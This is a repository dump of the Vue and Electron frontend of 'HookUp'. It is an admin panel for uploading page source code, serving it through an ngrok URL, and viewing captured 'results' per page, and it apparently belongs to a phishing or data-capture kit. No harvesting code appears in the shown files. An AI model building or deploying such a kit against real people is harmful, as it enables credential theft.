\r\n\r\n\r\n\r\n\r\n\r\n","import mod from \"-!../../node_modules/cache-loader/dist/cjs.js??ref--12-0!../../node_modules/thread-loader/dist/cjs.js!../../node_modules/babel-loader/lib/index.js!../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../node_modules/vue-loader/lib/index.js??vue-loader-options!./Mainscreen.vue?vue&type=script&lang=js&\"; export default mod; export * from \"-!../../node_modules/cache-loader/dist/cjs.js??ref--12-0!../../node_modules/thread-loader/dist/cjs.js!../../node_modules/babel-loader/lib/index.js!../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../node_modules/vue-loader/lib/index.js??vue-loader-options!./Mainscreen.vue?vue&type=script&lang=js&\"","import { render, staticRenderFns } from \"./Mainscreen.vue?vue&type=template&id=7ceb330f&scoped=true&\"\nimport script from \"./Mainscreen.vue?vue&type=script&lang=js&\"\nexport * from \"./Mainscreen.vue?vue&type=script&lang=js&\"\nimport style0 from \"./Mainscreen.vue?vue&type=style&index=0&id=7ceb330f&lang=scss&scoped=true&\"\n\n\n/* normalize component */\nimport normalizer from \"!../../node_modules/vue-loader/lib/runtime/componentNormalizer.js\"\nvar component = normalizer(\n script,\n render,\n staticRenderFns,\n false,\n null,\n \"7ceb330f\",\n null\n \n)\n\nexport default component.exports","\r\n \r\n \r\n
\r\n \r\n\r\n\r\n\r\n\r\n","import mod from \"-!../node_modules/cache-loader/dist/cjs.js??ref--12-0!../node_modules/thread-loader/dist/cjs.js!../node_modules/babel-loader/lib/index.js!../node_modules/cache-loader/dist/cjs.js??ref--0-0!../node_modules/vue-loader/lib/index.js??vue-loader-options!./App.vue?vue&type=script&lang=js&\"; export default mod; export * from \"-!../node_modules/cache-loader/dist/cjs.js??ref--12-0!../node_modules/thread-loader/dist/cjs.js!../node_modules/babel-loader/lib/index.js!../node_modules/cache-loader/dist/cjs.js??ref--0-0!../node_modules/vue-loader/lib/index.js??vue-loader-options!./App.vue?vue&type=script&lang=js&\"","import { render, staticRenderFns } from \"./App.vue?vue&type=template&id=1fb0eaa5&\"\nimport script from \"./App.vue?vue&type=script&lang=js&\"\nexport * from \"./App.vue?vue&type=script&lang=js&\"\nimport style0 from \"./App.vue?vue&type=style&index=0&lang=scss&\"\n\n\n/* normalize component */\nimport normalizer from \"!../node_modules/vue-loader/lib/runtime/componentNormalizer.js\"\nvar component = normalizer(\n script,\n render,\n staticRenderFns,\n false,\n null,\n null,\n null\n \n)\n\nexport default component.exports","var render = function () {var _vm=this;var _h=_vm.$createElement;var _c=_vm._self._c||_h;return _c('div',[_c('md-card',[_c('md-card-header',[_c('md-card-header-text',[_c('h2',[_vm._v(\"Results\")])]),_c('md-button',{staticClass:\"md-icon-button\",attrs:{\"md-menu-trigger\":\"\"},on:{\"click\":_vm.getResult}},[_c('md-icon',[_vm._v(\"refresh\")])],1)],1),_c('md-card-content',[(!_vm.isEmpty)?_c('div',_vm._l((_vm.results),function(result,index){return _c('md-list',{key:index,staticClass:\"md-double-line\"},[_c('md-list-item',[_c('md-card',[_c('md-card-header',[_c('h3',[_vm._v(_vm._s(result.pageName))]),_c('code',[_vm._v(_vm._s(result.date))])]),_c('div',[_c('json-viewer',{attrs:{\"value\":result.data,\"expand-depth\":2,\"theme\":\"dark-viewer\"}})],1)],1)],1)],1)}),1):_c('div',[_c('md-empty-state',{attrs:{\"md-rounded\":\"\",\"md-icon\":\"visibility_off\",\"md-label\":\"Nothing in results\",\"md-description\":\"Results will be here\"}})],1)])],1)],1)}\nvar staticRenderFns = []\n\nexport { render, staticRenderFns }","\r\n \r\n
\r\n \r\n \r\n Results \r\n \r\n\r\n \r\n refresh \r\n \r\n \r\n\r\n \r\n \r\n
\r\n \r\n \r\n \r\n {{ result.pageName }} \r\n {{ result.date }}
\r\n \r\n\r\n \r\n \r\n
\r\n \r\n \r\n \r\n
\r\n \r\n \r\n
\r\n \r\n \r\n
\r\n \r\n\r\n\r\n\r\n\r\n\r\n","import mod from \"-!../../../node_modules/cache-loader/dist/cjs.js??ref--12-0!../../../node_modules/thread-loader/dist/cjs.js!../../../node_modules/babel-loader/lib/index.js!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./Result.vue?vue&type=script&lang=js&\"; export default mod; export * from \"-!../../../node_modules/cache-loader/dist/cjs.js??ref--12-0!../../../node_modules/thread-loader/dist/cjs.js!../../../node_modules/babel-loader/lib/index.js!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./Result.vue?vue&type=script&lang=js&\"","import { render, staticRenderFns } from \"./Result.vue?vue&type=template&id=e272a12a&scoped=true&\"\nimport script from \"./Result.vue?vue&type=script&lang=js&\"\nexport * from \"./Result.vue?vue&type=script&lang=js&\"\nimport style0 from \"./Result.vue?vue&type=style&index=0&id=e272a12a&lang=scss&scoped=true&\"\n\n\n/* normalize component */\nimport normalizer from \"!../../../node_modules/vue-loader/lib/runtime/componentNormalizer.js\"\nvar component = normalizer(\n script,\n render,\n staticRenderFns,\n false,\n null,\n \"e272a12a\",\n null\n \n)\n\nexport default component.exports","var render = function () {var _vm=this;var _h=_vm.$createElement;var _c=_vm._self._c||_h;return _c('div',[_c('md-card',[_c('md-card-header',[_c('div',{staticClass:\"md-title\",staticStyle:{\"float\":\"left\"}},[_vm._v(\"Add Page\")])]),_c('md-card-content',[_c('form',{on:{\"submit\":function($event){$event.preventDefault();return _vm.submitForm($event)}}},[_c('md-field',[_c('label',[_vm._v(\"Page name\")]),_c('md-input',{model:{value:(_vm.pageName),callback:function ($$v) {_vm.pageName=$$v},expression:\"pageName\"}})],1),_c('md-field',[_c('label',[_vm._v(\"Page source code\")]),_c('md-file',{ref:\"page\",on:{\"md-change\":_vm.handlePageUpload}})],1),_c('md-button',{staticClass:\"md-raised md-primary\",attrs:{\"type\":\"submit\"}},[_vm._v(\"Save\")]),_c('md-snackbar',{attrs:{\"md-position\":\"center\",\"md-duration\":4000,\"md-active\":_vm.showSnack,\"md-persistent\":\"\"},on:{\"update:mdActive\":function($event){_vm.showSnack=$event},\"update:md-active\":function($event){_vm.showSnack=$event}}},[_c('span',[_vm._v(_vm._s(_vm.snackBarData))]),_c('md-button',{class:{ 'md-primary' : _vm.success, 'md-accent': !_vm.success},on:{\"click\":function($event){_vm.showSnack = false}}},[_vm._v(\"I Got This\")])],1)],1)])],1)],1)}\nvar staticRenderFns = []\n\nexport { render, staticRenderFns }","\r\n \r\n
\r\n \r\n Add Page
\r\n \r\n \r\n \r\n \r\n \r\n
\r\n \r\n\r\n\r\n\r\n\r\n\r\n","import mod from \"-!../../../node_modules/cache-loader/dist/cjs.js??ref--12-0!../../../node_modules/thread-loader/dist/cjs.js!../../../node_modules/babel-loader/lib/index.js!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./AddSite.vue?vue&type=script&lang=js&\"; export default mod; export * from \"-!../../../node_modules/cache-loader/dist/cjs.js??ref--12-0!../../../node_modules/thread-loader/dist/cjs.js!../../../node_modules/babel-loader/lib/index.js!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./AddSite.vue?vue&type=script&lang=js&\"","import { render, staticRenderFns } from \"./AddSite.vue?vue&type=template&id=7626944a&scoped=true&\"\nimport script from \"./AddSite.vue?vue&type=script&lang=js&\"\nexport * from \"./AddSite.vue?vue&type=script&lang=js&\"\nimport style0 from \"./AddSite.vue?vue&type=style&index=0&id=7626944a&lang=scss&scoped=true&\"\n\n\n/* normalize component */\nimport normalizer from \"!../../../node_modules/vue-loader/lib/runtime/componentNormalizer.js\"\nvar component = normalizer(\n script,\n render,\n staticRenderFns,\n false,\n null,\n \"7626944a\",\n null\n \n)\n\nexport default component.exports","var render = function () {var _vm=this;var _h=_vm.$createElement;var _c=_vm._self._c||_h;return _c('div',[_c('div',{staticClass:\"md-layout\"},[_c('div',{staticClass:\"md-layout-item\"},[_c('md-card',[_c('md-card-header',[_c('div',{staticClass:\"md-title\"},[_vm._v(\"Registered Pages\")])]),_c('md-card-content',_vm._l((_vm.sites),function(site,index){return _c('md-list',{key:index},[_c('md-list-item',[_vm._v(\" \"+_vm._s(site.name)+\" \"),_c('div',[_c('md-button',{directives:[{name:\"show\",rawName:\"v-show\",value:(!site.stock),expression:\"!site.stock\"}],staticClass:\"md-icon-button md-list-action\",on:{\"click\":function($event){return _vm.deleteSite(site)}}},[_c('md-icon',{staticClass:\"md-accent\"},[_vm._v(\"delete\")])],1),_c('md-button',{staticClass:\"md-icon-button md-list-action\",on:{\"click\":function($event){return _vm.clickSite(site)}}},[_c('md-icon',[_vm._v(\"arrow_forward_ios\")])],1)],1)])],1)}),1)],1)],1),_c('div',{staticClass:\"md-layout-item\"},[_c('md-card',{staticClass:\"current-card\"},[_c('md-card-header',[_c('div',{staticClass:\"md-title\"},[_vm._v(\"Current Page\")])]),_c('md-card-content',[_c('md-progress-spinner',{directives:[{name:\"show\",rawName:\"v-show\",value:(_vm.loading),expression:\"loading\"}],attrs:{\"md-diameter\":30,\"md-stroke\":3,\"md-mode\":\"indeterminate\"}}),_c('div',{directives:[{name:\"show\",rawName:\"v-show\",value:(!_vm.loading),expression:\"!loading\"}]},[_c('md-field',[_c('label',[_vm._v(\"Page name\")]),_c('md-input',{attrs:{\"disabled\":\"\"},model:{value:(_vm.currentSite.name),callback:function ($$v) {_vm.$set(_vm.currentSite, \"name\", $$v)},expression:\"currentSite.name\"}})],1),_c('md-field',[_c('label',[_vm._v(\"Page source code\")]),_c('md-textarea',{attrs:{\"disabled\":\"\"},model:{value:(_vm.currentSite.source),callback:function ($$v) {_vm.$set(_vm.currentSite, \"source\", $$v)},expression:\"currentSite.source\"}})],1),_c('md-button',{staticClass:\"md-primary\",attrs:{\"href\":_vm.base,\"target\":\"_blank\"}},[_vm._v(\"Preview\")])],1)],1),_c('md-snackbar',{attrs:{\"md-position\":\"center\",\"md-duration\":4000,\"md-active\":_vm.showStack,\"md-persistent\":\"\"},on:{\"update:mdActive\":function($event){_vm.showStack=$event},\"update:md-active\":function($event){_vm.showStack=$event}}},[_c('span',[_vm._v(_vm._s(_vm.snackBarData))]),_c('md-button',{class:{ 'md-primary' : _vm.success, 'md-accent': !_vm.success},on:{\"click\":function($event){_vm.showStack = false}}},[_vm._v(\"I got this\")])],1)],1)],1)])])}\nvar staticRenderFns = []\n\nexport { render, staticRenderFns }","\r\n\r\n \r\n
\r\n
\r\n
\r\n \r\n Registered Pages
\r\n \r\n \r\n \r\n \r\n {{ site.name }}\r\n \r\n \r\n delete \r\n \r\n \r\n arrow_forward_ios \r\n \r\n
\r\n \r\n \r\n \r\n \r\n
\r\n\r\n
\r\n
\r\n \r\n Current Page
\r\n \r\n \r\n \r\n \r\n \r\n Page name \r\n \r\n \r\n \r\n Page source code \r\n \r\n \r\n Preview \r\n
\r\n \r\n \r\n {{ snackBarData }} \r\n I got this \r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n\r\n\r\n","import mod from \"-!../../../node_modules/cache-loader/dist/cjs.js??ref--12-0!../../../node_modules/thread-loader/dist/cjs.js!../../../node_modules/babel-loader/lib/index.js!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./ConfigureScreen.vue?vue&type=script&lang=js&\"; export default mod; export * from \"-!../../../node_modules/cache-loader/dist/cjs.js??ref--12-0!../../../node_modules/thread-loader/dist/cjs.js!../../../node_modules/babel-loader/lib/index.js!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./ConfigureScreen.vue?vue&type=script&lang=js&\"","import { render, staticRenderFns } from \"./ConfigureScreen.vue?vue&type=template&id=2168d7e0&scoped=true&\"\nimport script from \"./ConfigureScreen.vue?vue&type=script&lang=js&\"\nexport * from \"./ConfigureScreen.vue?vue&type=script&lang=js&\"\nimport style0 from \"./ConfigureScreen.vue?vue&type=style&index=0&id=2168d7e0&scoped=true&lang=css&\"\n\n\n/* normalize component */\nimport normalizer from \"!../../../node_modules/vue-loader/lib/runtime/componentNormalizer.js\"\nvar component = normalizer(\n script,\n render,\n staticRenderFns,\n false,\n null,\n \"2168d7e0\",\n null\n \n)\n\nexport default component.exports","var render = function () {var _vm=this;var _h=_vm.$createElement;var _c=_vm._self._c||_h;return _c('div',{staticClass:\"md-layout\"},[_c('div',{staticClass:\"md-layout-item\"},[_c('md-card',[_c('md-card-content',[_c('div',{staticClass:\"md-layout\"},[_c('div',{staticClass:\"md-layout-item logo-box\"},[_c('img',{attrs:{\"src\":\"/logo.svg\",\"alt\":\"logo\",\"height\":\"600\",\"width\":\"600\"}}),_c('h2',[_vm._v(\"HookUp Web Interface\")]),_c('ul',[_c('li',{staticClass:\"md-caption\"},[_vm._v(\"Version \"+_vm._s(_vm.context.server_v))]),_c('li',{staticClass:\"md-caption\"},[_vm._v(\"Copyright bufgix\")])])]),_c('div',{staticClass:\"md-layout-item info-box\"},[_c('div',{staticClass:\"md-layout md-alignment-center-left\"},[_c('ul',[_c('li',[_vm._v(\"GUI Version: \"+_vm._s(_vm.context.client_v))]),_c('li',[_vm._v(\"Server Version: \"+_vm._s(_vm.context.server_v))]),_c('li',[_vm._v(\" Commit: \"),_c('span',[_vm._v(_vm._s(_vm.context.commit))])])])])])])])],1)],1)])}\nvar staticRenderFns = []\n\nexport { render, staticRenderFns }","\r\n \r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
HookUp Web Interface \r\n
\r\n Version {{context.server_v}} \r\n Copyright bufgix \r\n \r\n
\r\n\r\n
\r\n
\r\n
\r\n GUI Version: {{ context.client_v}} \r\n Server Version: {{ context.server_v }} \r\n \r\n Commit:\r\n {{context.commit}} \r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n\r\n\r\n\r\n","import mod from \"-!../../../node_modules/cache-loader/dist/cjs.js??ref--12-0!../../../node_modules/thread-loader/dist/cjs.js!../../../node_modules/babel-loader/lib/index.js!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./About.vue?vue&type=script&lang=js&\"; export default mod; export * from \"-!../../../node_modules/cache-loader/dist/cjs.js??ref--12-0!../../../node_modules/thread-loader/dist/cjs.js!../../../node_modules/babel-loader/lib/index.js!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./About.vue?vue&type=script&lang=js&\"","import { render, staticRenderFns } from \"./About.vue?vue&type=template&id=a06afa1e&scoped=true&\"\nimport script from \"./About.vue?vue&type=script&lang=js&\"\nexport * from \"./About.vue?vue&type=script&lang=js&\"\nimport style0 from \"./About.vue?vue&type=style&index=0&id=a06afa1e&lang=scss&scoped=true&\"\n\n\n/* normalize component */\nimport normalizer from \"!../../../node_modules/vue-loader/lib/runtime/componentNormalizer.js\"\nvar component = normalizer(\n script,\n render,\n staticRenderFns,\n false,\n null,\n \"a06afa1e\",\n null\n \n)\n\nexport default component.exports","import Vue from \"vue\";\r\nimport Router from \"vue-router\";\r\nimport Result from \"../components/pages/Result\";\r\nimport AddSite from \"../components/pages/AddSite\";\r\nimport ConfigureScreen from \"../components/pages/ConfigureScreen\";\r\nimport About from \"../components/pages/About\"\r\n\r\nVue.material.router.linkActiveClass = \"active\";\r\n\r\nVue.use(Router);\r\n\r\nexport default {\r\n PageRouter: new Router({\r\n routes: [\r\n {\r\n path: \"/\",\r\n redirect: { name: \"watch\" }\r\n },\r\n {\r\n path: \"/watch\",\r\n name: \"watch\",\r\n component: Result\r\n },\r\n {\r\n path: \"/add\",\r\n name: \"add-site\",\r\n component: AddSite\r\n },\r\n {\r\n path: \"/configure\",\r\n name: \"config\",\r\n component: ConfigureScreen\r\n },\r\n {\r\n path: \"/about\",\r\n name: \"about\",\r\n component: About\r\n }\r\n ],\r\n linkActiveClass: \"active\"\r\n })\r\n};\r\n","import Vue from \"vue\";\r\nimport App from \"./App.vue\";\r\nimport Router from \"./router\";\r\n\r\nVue.config.productionTip = false;\r\n\r\nnew Vue({\r\n router: Router.PageRouter,\r\n render: h => h(App)\r\n}).$mount(\"#app\");\r\n","import mod from \"-!../node_modules/mini-css-extract-plugin/dist/loader.js??ref--8-oneOf-1-0!../node_modules/css-loader/dist/cjs.js??ref--8-oneOf-1-1!../node_modules/vue-loader/lib/loaders/stylePostLoader.js!../node_modules/postcss-loader/src/index.js??ref--8-oneOf-1-2!../node_modules/sass-loader/dist/cjs.js??ref--8-oneOf-1-3!../node_modules/cache-loader/dist/cjs.js??ref--0-0!../node_modules/vue-loader/lib/index.js??vue-loader-options!./App.vue?vue&type=style&index=0&lang=scss&\"; export default mod; export * from \"-!../node_modules/mini-css-extract-plugin/dist/loader.js??ref--8-oneOf-1-0!../node_modules/css-loader/dist/cjs.js??ref--8-oneOf-1-1!../node_modules/vue-loader/lib/loaders/stylePostLoader.js!../node_modules/postcss-loader/src/index.js??ref--8-oneOf-1-2!../node_modules/sass-loader/dist/cjs.js??ref--8-oneOf-1-3!../node_modules/cache-loader/dist/cjs.js??ref--0-0!../node_modules/vue-loader/lib/index.js??vue-loader-options!./App.vue?vue&type=style&index=0&lang=scss&\"","const base = \"http://localhost:5000\";\r\n\r\nmodule.exports = {\r\n base,\r\n urlGetNgrokUrl: `${base}/api/get_ngrok_url`,\r\n urlNewPage: `${base}/api/page/new`,\r\n urlDeletePage: `${base}/api/page/delete`,\r\n urlGetCurrent: `${base}/api/page/get_current`,\r\n urlSetCurrent: `${base}/api/page/set_current`,\r\n urlPages: `${base}/api/pages`,\r\n urlGetRecords: `${base}/api/record/list`,\r\n urlGetRecordsByPage: `${base}/api/record/by_page`,\r\n urlAbout: `${base}/api/about`,\r\n urlLogout: `${base}/adminlogout`,\r\n};\r\n","import mod from \"-!../../node_modules/mini-css-extract-plugin/dist/loader.js??ref--8-oneOf-1-0!../../node_modules/css-loader/dist/cjs.js??ref--8-oneOf-1-1!../../node_modules/vue-loader/lib/loaders/stylePostLoader.js!../../node_modules/postcss-loader/src/index.js??ref--8-oneOf-1-2!../../node_modules/sass-loader/dist/cjs.js??ref--8-oneOf-1-3!../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../node_modules/vue-loader/lib/index.js??vue-loader-options!./Mainscreen.vue?vue&type=style&index=0&id=7ceb330f&lang=scss&scoped=true&\"; export default mod; export * from \"-!../../node_modules/mini-css-extract-plugin/dist/loader.js??ref--8-oneOf-1-0!../../node_modules/css-loader/dist/cjs.js??ref--8-oneOf-1-1!../../node_modules/vue-loader/lib/loaders/stylePostLoader.js!../../node_modules/postcss-loader/src/index.js??ref--8-oneOf-1-2!../../node_modules/sass-loader/dist/cjs.js??ref--8-oneOf-1-3!../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../node_modules/vue-loader/lib/index.js??vue-loader-options!./Mainscreen.vue?vue&type=style&index=0&id=7ceb330f&lang=scss&scoped=true&\"","import mod from \"-!../../../node_modules/mini-css-extract-plugin/dist/loader.js??ref--8-oneOf-1-0!../../../node_modules/css-loader/dist/cjs.js??ref--8-oneOf-1-1!../../../node_modules/vue-loader/lib/loaders/stylePostLoader.js!../../../node_modules/postcss-loader/src/index.js??ref--8-oneOf-1-2!../../../node_modules/sass-loader/dist/cjs.js??ref--8-oneOf-1-3!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./Result.vue?vue&type=style&index=0&id=e272a12a&lang=scss&scoped=true&\"; export default mod; export * from \"-!../../../node_modules/mini-css-extract-plugin/dist/loader.js??ref--8-oneOf-1-0!../../../node_modules/css-loader/dist/cjs.js??ref--8-oneOf-1-1!../../../node_modules/vue-loader/lib/loaders/stylePostLoader.js!../../../node_modules/postcss-loader/src/index.js??ref--8-oneOf-1-2!../../../node_modules/sass-loader/dist/cjs.js??ref--8-oneOf-1-3!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./Result.vue?vue&type=style&index=0&id=e272a12a&lang=scss&scoped=true&\"","import mod from \"-!../../../node_modules/mini-css-extract-plugin/dist/loader.js??ref--6-oneOf-1-0!../../../node_modules/css-loader/dist/cjs.js??ref--6-oneOf-1-1!../../../node_modules/vue-loader/lib/loaders/stylePostLoader.js!../../../node_modules/postcss-loader/src/index.js??ref--6-oneOf-1-2!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./ConfigureScreen.vue?vue&type=style&index=0&id=2168d7e0&scoped=true&lang=css&\"; export default mod; export * from \"-!../../../node_modules/mini-css-extract-plugin/dist/loader.js??ref--6-oneOf-1-0!../../../node_modules/css-loader/dist/cjs.js??ref--6-oneOf-1-1!../../../node_modules/vue-loader/lib/loaders/stylePostLoader.js!../../../node_modules/postcss-loader/src/index.js??ref--6-oneOf-1-2!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./ConfigureScreen.vue?vue&type=style&index=0&id=2168d7e0&scoped=true&lang=css&\""],"sourceRoot":""}
--------------------------------------------------------------------------------
/hookup/hookup-frontend/dist/logo.svg:
--------------------------------------------------------------------------------
1 | Asset 3
--------------------------------------------------------------------------------
/hookup/hookup-frontend/electron.js:
--------------------------------------------------------------------------------
1 | const { app, BrowserWindow } = require('electron')
2 |
3 | // Pencere nesnesinin genel bir referansını koruyun,
4 | // yoksa JavaScript nesnesi çöpleri topladığında pencere otomatik olarak kapatılır.
5 | let win
6 |
7 | function createWindow () {
8 | // Tarayıcı penceresini oluştur.
9 | win = new BrowserWindow({
10 | width: 1380,
11 | height: 640,
12 | webPreferences: {
13 | nodeIntegration: true
14 | },
15 | frame: true
16 | })
17 |
18 | // ve uygulamanın index.html dosyasını yükle.
19 | win.loadURL("http://localhost:5000/adminlogin")
20 |
21 | win.removeMenu()
22 |
23 | // DevTools'u aç.
24 | win.webContents.openDevTools()
25 |
26 | // Pencere kapatıldığında ortaya çıkar.
27 | win.on('closed', () => {
28 | //Pencere nesnesini referans dışı bırakın,
29 | // uygulamanız çoklu pencereleri destekliyorsa genellikle pencereleri
30 | // bir dizide saklarsınız, bu, ilgili öğeyi silmeniz gereken zamandır.
31 | win = null
32 | })
33 | }
34 | // Bu yöntem, Electron başlatmayı tamamladığında
35 | // ve tarayıcı pencereleri oluşturmaya hazır olduğunda çağrılır.
36 | // Bazı API'ler sadece bu olayın gerçekleşmesinin ardından kullanılabilir.
37 | app.on('ready', createWindow)
38 |
39 | // Bütün pencereler kapatıldığında çıkış yap.
40 | app.on('window-all-closed', () => {
41 | // MacOS'de kullanıcı CMD + Q ile çıkana dek uygulamaların ve menü barlarının
42 | // aktif kalmaya devam etmesi normaldir.
43 | if (process.platform !== 'darwin') {
44 | app.quit()
45 | }
46 | })
47 |
48 | app.on('activate', () => {
49 | // MacOS'de dock'a tıklandıktan sonra eğer başka pencere yoksa
50 | // yeni pencere açılması normaldir.
51 | if (win === null) {
52 | createWindow()
53 | }
54 | })
--------------------------------------------------------------------------------
/hookup/hookup-frontend/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "hookup-frontend",
3 | "main": "electron.js",
4 | "version": "0.1.0",
5 | "private": true,
6 | "scripts": {
7 | "serve": "vue-cli-service serve",
8 | "build": "vue-cli-service build",
9 | "lint": "vue-cli-service lint",
10 | "electron": "electron ."
11 | },
12 | "dependencies": {
13 | "axios": "^0.19.1",
14 | "core-js": "^3.4.4",
15 | "electron": "^7.2.4",
16 | "vue": "^2.6.10",
17 | "vue-clipboard2": "^0.3.1",
18 | "vue-json-viewer": "^2.2.8",
19 | "vue-material": "^1.0.0-beta-11",
20 | "vue-router": "^3.1.3"
21 | },
22 | "devDependencies": {
23 | "@vue/cli-plugin-babel": "^4.1.0",
24 | "@vue/cli-plugin-eslint": "^4.1.0",
25 | "@vue/cli-service": "^4.1.0",
26 | "babel-eslint": "^10.0.3",
27 | "eslint": "^5.16.0",
28 | "eslint-plugin-vue": "^5.0.0",
29 | "node-sass": "^4.13.1",
30 | "sass-loader": "^8.0.0",
31 | "vue-template-compiler": "^2.6.10"
32 | },
33 | "eslintConfig": {
34 | "root": true,
35 | "env": {
36 | "node": true
37 | },
38 | "extends": [
39 | "plugin:vue/essential",
40 | "eslint:recommended"
41 | ],
42 | "rules": {},
43 | "parserOptions": {
44 | "parser": "babel-eslint"
45 | }
46 | },
47 | "browserslist": [
48 | "> 1%",
49 | "last 2 versions"
50 | ]
51 | }
52 |
--------------------------------------------------------------------------------
/hookup/hookup-frontend/public/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bufgix/hookup/31d6a0d413c62d317f1b70c4d83541a00bf15d72/hookup/hookup-frontend/public/favicon.ico
--------------------------------------------------------------------------------
/hookup/hookup-frontend/public/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 | Hook Up Panel
12 |
18 |
19 |
20 |
21 | We're sorry but hookup-frontend doesn't work properly without JavaScript enabled. Please enable it to continue.
22 |
23 |
24 |
25 |
26 |
27 |
--------------------------------------------------------------------------------
/hookup/hookup-frontend/public/logo.svg:
--------------------------------------------------------------------------------
1 | Asset 3
--------------------------------------------------------------------------------
/hookup/hookup-frontend/src/App.vue:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
26 |
27 |
56 |
--------------------------------------------------------------------------------
/hookup/hookup-frontend/src/assets/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bufgix/hookup/31d6a0d413c62d317f1b70c4d83541a00bf15d72/hookup/hookup-frontend/src/assets/logo.png
--------------------------------------------------------------------------------
/hookup/hookup-frontend/src/components/Mainscreen.vue:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Hook Up
7 |
22 |
23 |
24 |
25 |
26 | Panel
27 |
28 |
29 |
30 |
31 |
32 | remove_red_eye
33 |
34 | Configure
35 |
36 |
37 |
38 |
39 |
40 |
41 | add
42 |
43 | Add Page
44 |
45 |
46 |
47 |
48 |
49 |
50 | list
51 |
52 | Results
53 |
54 |
55 |
56 |
57 |
58 | info
59 | About
60 |
61 |
62 |
63 | exit_to_app
64 | Log out
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
113 |
114 |
115 |
--------------------------------------------------------------------------------
/hookup/hookup-frontend/src/components/pages/About.vue:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
HookUp Web Interface
10 |
11 | Version {{context.server_v}}
12 | Copyright bufgix
13 |
14 |
15 |
16 |
17 |
18 |
19 | GUI Version: {{ context.client_v}}
20 | Server Version: {{ context.server_v }}
21 |
22 | Commit:
23 | {{context.commit}}
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
53 |
54 |
--------------------------------------------------------------------------------
/hookup/hookup-frontend/src/components/pages/AddSite.vue:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Add Page
6 |
7 |
8 |
31 |
32 |
33 |
34 |
35 |
36 |
82 |
83 |
102 |
103 |
--------------------------------------------------------------------------------
/hookup/hookup-frontend/src/components/pages/ConfigureScreen.vue:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | Registered Pages
9 |
10 |
11 |
12 |
13 | {{ site.name }}
14 |
15 |
20 | delete
21 |
22 |
23 | arrow_forward_ios
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 | Current Page
36 |
37 |
38 |
44 |
45 |
46 | Page name
47 |
48 |
49 |
50 | Page source code
51 |
52 |
53 | Preview
54 |
55 |
56 |
62 | {{ snackBarData }}
63 | I got this
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
134 |
135 |
--------------------------------------------------------------------------------
/hookup/hookup-frontend/src/components/pages/Result.vue:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Results
7 |
8 |
9 |
10 | refresh
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 | {{ result.pageName }}
21 | {{ result.date }}
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
68 |
69 |
70 |
148 |
--------------------------------------------------------------------------------
/hookup/hookup-frontend/src/main.js:
--------------------------------------------------------------------------------
1 | import Vue from "vue";
2 | import App from "./App.vue";
3 | import Router from "./router";
4 |
5 | Vue.config.productionTip = false;
6 |
7 | new Vue({
8 | router: Router.PageRouter,
9 | render: h => h(App)
10 | }).$mount("#app");
11 |
--------------------------------------------------------------------------------
/hookup/hookup-frontend/src/router/index.js:
--------------------------------------------------------------------------------
1 | import Vue from "vue";
2 | import Router from "vue-router";
3 | import Result from "../components/pages/Result";
4 | import AddSite from "../components/pages/AddSite";
5 | import ConfigureScreen from "../components/pages/ConfigureScreen";
6 | import About from "../components/pages/About"
7 |
8 | Vue.material.router.linkActiveClass = "active";
9 |
10 | Vue.use(Router);
11 |
12 | export default {
13 | PageRouter: new Router({
14 | routes: [
15 | {
16 | path: "/",
17 | redirect: { name: "watch" }
18 | },
19 | {
20 | path: "/watch",
21 | name: "watch",
22 | component: Result
23 | },
24 | {
25 | path: "/add",
26 | name: "add-site",
27 | component: AddSite
28 | },
29 | {
30 | path: "/configure",
